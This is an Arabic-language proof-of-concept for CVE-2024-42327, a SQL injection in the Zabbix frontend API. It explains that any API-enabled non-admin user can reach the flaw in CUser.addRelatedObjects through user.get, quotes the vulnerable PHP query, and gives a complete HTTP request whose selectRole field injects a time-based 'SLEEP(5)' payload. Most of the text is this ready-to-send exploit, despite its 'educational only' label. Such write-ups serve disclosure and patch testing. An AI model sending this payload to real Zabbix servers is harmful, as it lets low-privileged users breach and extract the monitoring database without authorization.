
إثبات المفهوم لـ CVE-2024-42327 / ZBX-25623
يمكن لحساب مستخدم غير مسؤول في واجهة Zabbix الأمامية مع دور المستخدم الافتراضي، أو أي دور آخر يمنح وصولاً لواجهة API، استغلال هذه الثغرة. توجد ثغرة SQLi في فئة CUser في دالة addRelatedObjects، ويتم استدعاء هذه الدالة من دالة CUser.get المتاحة لكل مستخدم لديه وصول لواجهة API.
هذا البرنامج النصي مقدم للأغراض التعليمية فقط!
الكود التالي من الإصدار 6.0.31 معرض لثغرة SQLi:
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
الاستدعاء التالي يثير الثغرة:
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1","2"]
},
"id": 1,
"auth": ""
}